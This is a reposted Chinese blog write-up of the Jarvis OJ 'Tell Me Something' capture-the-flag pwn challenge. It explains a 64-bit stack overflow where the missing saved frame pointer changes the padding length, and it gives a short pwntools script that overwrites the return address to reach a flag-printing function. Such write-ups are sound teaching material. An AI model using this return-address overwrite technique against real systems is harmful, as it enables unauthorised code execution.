Jarvis Oj Pwn 学习笔记-Tell Me Something

记一个64位栈帧的坑!!!

老板儿,链接要得:

https://files.cnblogs.com/files/Magpie/guestbook.rar

nc pwn.jarvisoj.com 9876

第n次checksec...:

宣IDA觐见:

good_name一看就很妖孽,于是跟进去:

好嘛~搞定了这不!

看一下main函数的溢出点:

于是payload:

junk='A' * (0x88 + 0x08)

ret=p64(0x400620)

payload=junk + ret

写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~

所以,有坑!

现在我们来看一下汇编:

main:

 

 good_name:

 

 仔细一看,惊了!

main:----->

good_name: & ----->

所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp ,     mov ebp,esp ,     sub esp,size_of_frame)是不一样的!

因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8

这样一来问题就解决了,我们上exp:

 1 from pwn import*
 2 r=remote('pwn.jarvisoj.com','9876')
 3 print r.recvline()
 4 pad='a'*0x88
 5 add=p64(0x400620)
 6 payload=pad+add
 7 r.sendline(payload)
 8 print payload
 9 print r.recvline()
10 print r.recvline()

从这道题中我们得到一个教训:

看汇编!

看汇编!!

一定要看汇编!!!

 

转载于:https://www.cnblogs.com/Magpie/p/9119021.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值